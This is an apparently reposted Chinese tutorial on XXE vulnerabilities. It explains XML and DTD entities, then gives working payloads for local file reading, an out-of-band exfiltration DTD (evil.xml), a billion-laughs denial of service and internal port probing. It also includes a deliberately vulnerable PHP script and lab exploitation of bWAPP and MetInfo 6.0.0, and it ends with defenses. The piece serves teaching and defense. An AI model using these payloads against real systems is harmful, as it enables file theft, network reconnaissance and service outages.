XXE漏洞分析


 本文系pwn2web原創,轉載請說明出處

XXE 漏洞,全名為XML External Entity Injection,由於程序在解析輸入的XML數據時,解析了攻擊者精心構造的外部實體。

一  預備知識

0x01 XML類型文件結構

 

XML設計用來傳送及攜帶數據信息,不用來表現或展示數據,HTML則用來表現數據,所以XML用途的焦點是它說明數據是什么,以及攜帶數據信息。

XML定義結構、存儲信息、傳送信息。主要格式如下:

<!--XML申明-->
<?xml version="1.0"?> 
<!--文檔類型定義-->
<!DOCTYPE note [  <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)>  <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)>     <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)>   <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)>   <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)>   <!--定義body元素為”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

下例為小張發送給大元的便條,存儲為XML。

 

<?xml version="1.0"?>
   <小紙條>
     <收件人>大元</收件人>
     <發件人>小張</發件人>
     <主題>問候</主題>
     <具體內容>早啊,飯吃了沒? </具體內容>
   </小紙條>

每個XML文檔都由XML序言開始,在前面的代碼中的第一行就是XML序言,<?xml version="1.0"?>。這一行代碼會告訴解析器或瀏覽器這個文件應該按照XML規則進行解析。

但是,根元素到底叫<小紙條>還是<小便條>,則是由文檔類型定義(DTD)或XML綱要(XML Schema)定義的。如果DTD規定根元素必須叫<小便條>,那么若寫作<小紙條>就不符合要求。這種不符合DTD或XML綱要的要求的XML文檔,被稱作不合法的XML,反之則是合法的XML。

XML文件的第二行並不一定要包含文檔元素;如果有注釋或者其他內容,文檔元素可以遲些出現。

 

DTD文檔關鍵字:

  • DOCTYPE(DTD的聲明)
  • ENTITY(實體的聲明)
  • SYSTEM、PUBLIC(外部資源申請)

 

0x02   文檔類型定義(DTD)與實體

 

 DTD可以分為內部定義和外部引用。

內部:<!DOCTYPE 根元素 [元素聲明]>

外部:<!DOCTYPE 根元素 SYSTEM "文件名">

 

實體主要分為以下幾種:

命名實體:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>        
<value>&xxe;</value>

 

外部實體:

<!ENTITY 實體名稱 SYSTEM "URI">

參數實體:

<!ENTITY % 實體名稱 "實體的值">

<!ENTITY % 實體名稱 SYSTEM "URI">

字符實體

 

示例:

參數實體&外部實體

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

命名實體&外部實體&參數實體

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

其中evil.xml文件內容為:

<!ENTITY %all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

調用過程為:參數實體dtd調用外部實體evil.xml,然后又調用參數實體all,接着調用命名實體send

 

0x03   外部實體

XXE漏洞主要利用了DTD引用外部實體導致的漏洞,我們總結一下URL中能寫哪些外部實體:

 

 

 

二   XXE漏洞

0x01 漏洞探測

首先檢測xml是否被解析,通過在本地創建xml並輸入以下內容,雙擊點開查看是否能成功顯示出來name 的內容

 

 

 

 

檢測是否支持外部實體解析,創建xml文件遠程引用index.php文件,雙擊打開可以看到文件回顯顯示在上面

 

 

 

 訪問服務器日志發現確實引用了index.php文件

 

 

 

 

0x02  漏洞應用

xxe利用主要有:

  • 任意文件讀取
  • 內網信息探測(包括端口和相關web指紋識別)
  • DOS攻擊
  • 遠程命名執行

 

0x03 基礎實驗

實驗環境:winxp虛擬機    

      VMWARE 15.5 PRO

實驗工具:phpstudy2016

實驗測試腳本:

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

 注意,這里第一行開啟了實體引用的功能,網上很多博客的腳本沒有這一行,導致腳本復現不成功

實驗一   任意文件讀取

 

我們編寫腳本讀取我們創建1.txt文件,該文件內容為文字“123”。

腳本如下:

 

 

 

 

 

實驗二  DOS攻擊

這里只附上示例poc

     <?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" ]>
<lolz>&lol9;</lolz>

這個poc是著名的“billion laugh”攻擊,該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。

 

實驗三  探測內網信息

這里主要介紹端口掃描,其他的可參考https://www.freebuf.com/articles/web/177979.html

腳本:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

 

 

 

 

 0x04  XXE漏洞實戰

1、BWAPP測試

這里使用BWAPP虛擬機來進行實戰測試:大家可以從 https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download  下載到該虛擬機,虛擬機導入后使用NAT轉換,查看IP地址,本機訪問

 

 

 

 

 點擊Any bugs?進行抓包,發送到Repeater

 

 

由Content-type得知,就是將接收到的XML文件post給xxe-2.php

這里直接用payload讀取就好:

 

 或者進行內網探測:

首先探測開放的80端口,返回信息如下

 

 再探測未開放的79端口:

 

 報錯信息不一樣。

 

2、選取Metinfo6.0.0進行XXE漏洞實戰攻擊測試

米拓企業建站系統主要用於搭建企業網站,采用PHP+Mysql架構,全站內置了SEO搜索引擎優化機制,支持用戶自定義界面語言(全球各種語言),支持可視化傻瓜式操作、擁有企業網站常用的模塊功能(企業簡介模塊、新聞模塊、產品模塊、下載模塊、圖片模塊、招聘模塊、在線留言、反饋系統、在線交流、友情鏈接、網站地圖、會員與權限管理)。

下載地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip

將解壓后的目錄放在phpstudy 的WWW目錄下,訪問安裝即可,安裝好如下圖:

 

 

 

 按照漏洞的說明,問題發生在漏洞文件app/system/pay/web/pay.class.php

 

 

 

 未禁止外部實體加載,測試是否存在外部實體引用,輸入

<!DOCTYPE note[
<!ENTITY quan SYSTEM "http://http://192.168.1.126/1.txt">
]>
<data>&quan;</data>

這里192.168.1.126是另一個虛擬機開啟的web服務,並在根目錄下放置了一個1.txt文件,我們利用burp訪問並設置payload:

 

 

 我們去打開192.168.1.126網站的服務器訪問日志看看是否訪問到了:

192.168.1.134是攻擊者主機,這就意味着成功的引用了外部實體

 

 

 

 

三  漏洞防御

使用相應開發語言提供的禁用外部實體的方法

PHP:

libxml_disable_entity_loader(true);

 

 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

 

PYTHON:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

過濾用戶提交的XML數據

過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM